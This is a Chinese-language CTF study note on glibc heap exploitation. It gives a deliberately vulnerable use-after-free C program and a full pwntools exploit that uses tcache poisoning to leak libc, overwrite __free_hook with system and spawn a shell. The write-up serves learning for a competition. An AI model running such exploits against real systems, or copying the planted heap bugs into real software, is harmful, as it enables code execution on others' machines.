0%

看雪賽棍 pwn 課程筆記

前言

要跟朋友去打 2023 HackTheon Sejong,怕我的實力太差導致拖累他們,所以挑這篇教學文章裡的題目加強自己的 heap exploit 能力,主要紀錄一些自己沒看過的利用手法或是有趣的題目

題目

https://bbs.kanxue.com/thread-271174.htm#msg_header_h1_37

day 4

uaf

題目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create(){
if(num >= 0x20){
puts("no more");
return;
}
int size;
puts("how big");
scanf("%d",&size);
if(size >= 0x20){
puts("no more");
return;
}
heap[num] = (char *)malloc(size);
num++;
}
void show(){
int i;
int idx;
char buf[4];
puts("idx");
read(0, buf, 4);
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
printf("Content:");
printf("%s",heap[idx]);
}
}
void dele(){
int i;
int idx;
char buf[4];
puts("idx");
read(0, buf, 4);
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
free(heap[idx]);
num--;
}
}
void edit(){
int size;
int i;
int idx;
char buf[4];
puts("idx");
read(0, buf, 4);
idx = atoi(buf);
if (!heap[idx]) {
puts("no hvae things\n");
} else {
puts("how big u read");
scanf("%d",&size);
if(size > 0x20){
puts("too more");
return;
}
puts("Content:");
read(0,heap[idx],size);
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main(){
int choice;
while(1){
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}

exploit

這題的難點在於限制了 chunk 的大小、輸入的長度 必須小於 0x20,所以很難獲取 unsorted bin 的 chunk 來 leak libc。這題知道 libc base 就可以打 tcache poisoning,改掉 hook 來開 shell

作者給出的一個手法是透過控制 tcache 結構來獲取 unsorted bin。我們知道 tcache 其實是 heap 上的一個 chunk,大小是 0x250,上面的前 0x40 個 bytes 用來記錄對應大小的 tcache chunk 數量,那如果我有辦法知道 tcache 在哪、可以控制用來記錄 size 是 0x250 的 tcache chunk 的那個 byte 的話,就可以把那個 byte 改成 7。這樣 glibc 就會認為那條 tcache 已經滿了,free 那個 chunk 就會進到 unsorted bin

接下來講一個需要注意的細節
做完 unsorted bin 後有申請一個 chunk #10,如果把他直接 free 掉的話會進 fastbin,這是因為 chunk #10 剛好跟紀錄 tcache chunk 數量的那塊區域重疊,而那塊區域上有一些值殘留,所以要先把那塊區域都設成 0,這樣才會進 tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

def create(size):
p.recvuntil('show\n')
p.sendline(b'1')
p.recvuntil(b'how big')
p.sendline(str(size))

def delete(idx):
p.recvuntil('show\n')
p.sendline(b'2')
p.recvuntil(b'idx\n')
p.sendline(str(idx))

def edit(idx, size, content):
p.recvuntil('show\n')
p.sendline(b'3')
p.recvuntil(b'idx\n')
p.sendline(str(idx))
p.recvuntil(b'how big u read\n')
p.sendline(str(size))
p.recvuntil(b'Content:\n')
p.send(content)

def show(idx):
p.recvuntil('show\n')
p.sendline(b'4')
p.recvuntil(b'idx\n')
p.sendline(str(idx))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./uaf')
elf = ELF('./uaf')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

for i in range(7):
create(0x10) #0 ~ 6
delete(0)
delete(1)
show(1)
p.recvuntil(b'Content:')
chunk0_addr = u64(p.recvline()[:6] + b'\x00' * 0x2)
print("chunk0 address: ", hex(chunk0_addr))
tcache = chunk0_addr - 0x1670
print("tcache address: ", hex(tcache))

edit(0, 0x10, p64(tcache))
create(0x10) #5
create(0x10) #6
create(0x10) #7
create(0x10) #8
create(0x10) #9
edit(7, 0x20, p64(0) * 0x4)
delete(5)
edit(5, 0x10, p64(tcache + 0x20))
create(0x10) #9
create(0x10) #10
edit(10, 0x10, p64(0x7000000))
delete(7)
create(0x10) #10
show(10)
p.recvuntil(b'Content:')
libc_base = u64(p.recvline()[:6] + b'\x00' * 0x2) - 0x3ebee0
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print(hex(libc_base))
edit(10, 0x20, p64(0x0) * 0x4)
delete(10)
edit(10, 0x10, p64(free_hook))
create(0x10) #10
create(0x10) #11
edit(11, 0x10, p64(system))
edit(8, 0x10, b'/bin/sh\x00')
delete(8)
p.interactive()